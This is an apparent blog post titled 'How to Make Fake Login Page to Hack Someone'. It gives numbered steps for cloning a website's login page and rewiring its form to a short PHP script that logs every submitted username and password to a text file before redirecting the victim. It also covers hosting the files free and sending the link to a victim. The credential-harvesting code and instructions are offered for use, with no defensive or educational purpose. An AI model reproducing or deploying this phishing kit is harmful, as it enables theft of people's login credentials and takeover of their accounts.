How to Make Fake Login Page to Hack Someone [User:Pass]

Here all step to get their id password.


Step:- 

1- Open up the site that you want to make the fake page from it, after the load right click and save the page as "web page complete"

2- now open that page with notepad, and press control+F to access search bar, and then search "login"

3- behind the word "login" it's written .action, we don't need those so delete everything behind the login (this tutorial is for PHP, may you see login.aspx)

4- if you saw method="post" change it to method="GET"     

5- ok now save it as .html

6- open a new notepad, and write this commands on it

    <?php
header ('Location:target.com');
$handle = fopen("log.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit; 
?>


7- instead of Location: target.com, write your login page address!

8- now save this as Login.PHP

9- Go to website's that offer free hosts

10- Make an account, get your host and upload both of files!

11- After that you only need to give your HTML link to your victim!

12- If he opened and write his Login information you can access it!

13- If you look at PHP source, you can see log.txt that's where your victim info's saved.

Post a Comment

Previous Post Next Post